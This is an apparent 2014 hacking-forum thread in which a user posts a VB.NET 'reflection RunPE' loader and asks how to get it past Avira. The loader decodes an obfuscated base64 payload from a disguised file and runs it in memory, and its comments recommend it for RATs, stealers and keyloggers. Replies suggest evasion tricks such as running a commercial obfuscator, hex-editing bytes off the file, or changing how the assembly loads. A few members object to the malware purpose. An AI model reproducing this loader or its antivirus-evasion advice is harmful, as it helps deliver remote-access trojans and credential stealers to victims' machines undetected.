

Forum:[Hack Forums](#)

Thread: [Reflection RunPE vb.net](#)

sinestic89 - August 12, 2014, 2:19 am

Hi i have one problem use this code for i Inject in memory one .net file, but avira detected this code and my file have this detection 1/35

```
Code Imports System.IO
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text
```

```
Public Class Form1
```

```
    ' thanks to Deathader for the reflection runpe...
```

```
    Private Sub RunFromMemory(ByVal bytes As Byte()) 'not sure how it works :(
```

```
        Dim assembly As Assembly = assembly.Load(bytes)
```

```
        Dim entryPoint As MethodInfo = [assembly].EntryPoint
```

```
        Dim objectValue As Object =
```

```
RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
```

```
        entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String()
{"1"}}})
```

```
    End Sub
```

```
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles MyBase.Load
```

```
    Dim filesbytes As Byte() = IO.File.ReadAllBytes("DTA32.HF") 'reads binary from the file
```

```
    Dim lol As String = System.Text.Encoding.ASCII.GetString(filesbytes) 'converts bytes to string
, so we can do whatever we want to them
```

```
    Dim binaryData() As Byte = Convert.FromBase64String(lol.Replace("$", "A")) ' converts
base64 string to bytes , also replaces all $ with A's
```

```
    Dim x As New Threading.Thread(AddressOf RunFromMemory)
```

```
    x.TrySetApartmentState(Threading.ApartmentState.STA)
```

```
    x.Start(binaryData) 'runs the decoded binary in memory , with the reflection runpe though , it
can only do that with .net executables
```

```
    'good for RATS , Stealers , Keyloggers coded in .net
```

```
    Me.Close() 'closes the application
```

```
End Sub
```

```
End ClassHelp me to bypass avira?very thks :)
```

LordCoder - August 12, 2014, 6:53 am

Some recommendations for Avira:

- DeepSea Obfuscator bypasses Avira most of the time.
- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.

sinestic89 - August 12, 2014, 8:08 am

(Aug 12, 2014 06:53 AM)LordCoder Wrote: [\[CITE\]](#) Some recommendations for Avira:

- DeepSea Obfuscator bypasses Avira most of the time.

- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.
when i remove 00 file not start ç_ç. You have another idea?

?lixir - August 12, 2014, 8:46 am

(Aug 12, 2014 08:08 AM)sinestic89 Wrote: [\[CITE\]](#) when i remove 00 file not start ç_ç. You have another idea?

Yes, never hex edit to remove detections. It is the way you load your asm. You and every other kid using reflection is using the same method; mix it up.

sinestic89 - August 12, 2014, 10:09 am

(Aug 12, 2014 08:46 AM)Dr. Caspers Wrote: [\[CITE\]](#) Yes, never hex edit to remove detections. It is the way you load your asm. You and every other kid using reflection is using the same method; mix it up.

how ? no have idea for bypass shit avira,dropper/gen 4 ever ç_ç

tweety - August 12, 2014, 10:38 am

(Aug 12, 2014 10:09 AM)sinestic89 Wrote: [\[CITE\]](#) how ? no have idea for bypass shit avira,dropper/gen 4 ever ç_ç

Then you're not qualified to touch things like that, see? ?

0fd52785afa06f3192e876cd1 - August 12, 2014, 10:54 am

(Aug 12, 2014 06:53 AM)LordCoder Wrote: [\[CITE\]](#) Some recommendations for Avira:

- DeepSea Obfuscator bypasses Avira most of the time.
- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.
You should feel bad for what you just said, very bad.

IAmNotHere - August 12, 2014, 11:17 am

Is this the detected part of your file or is another part of the code detected and isn't the runpe the real detection?

If this is the full code, you can try to delete one single line at a time, compile and scan. Then you, maybe know what you must change.

LordCoder - August 12, 2014, 11:33 am

(Aug 12, 2014 10:54 AM)Angelic Wings Wrote: [\[CITE\]](#) You should feel bad for what you just said, very bad.

Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.

DisguiserNET - August 12, 2014, 11:50 am

(Aug 12, 2014 11:33 AM)LordCoder Wrote: [\[CITE\]](#) Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.

You should just shut the fuck up. gosh.

tweety - August 12, 2014, 11:51 am

(Aug 12, 2014 11:33 AM)LordCoder Wrote: [\[CITE\]](#) Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.

Ruining another programmers legitimate obfuscator for your Malware? That's the cancer that resides in this section.

sinestic89 - August 12, 2014, 11:59 am

Sorry for my quest,I did not want to disturb

LordCoder - August 12, 2014, 12:12 pm

(Aug 12, 2014 11:51 AM)Tweety. Wrote: [\[CITE\]](#) Ruining another programmers legitimate obfuscator for your Malware? That's the cancer that resides in this section.It's just a test! I don't make malwares.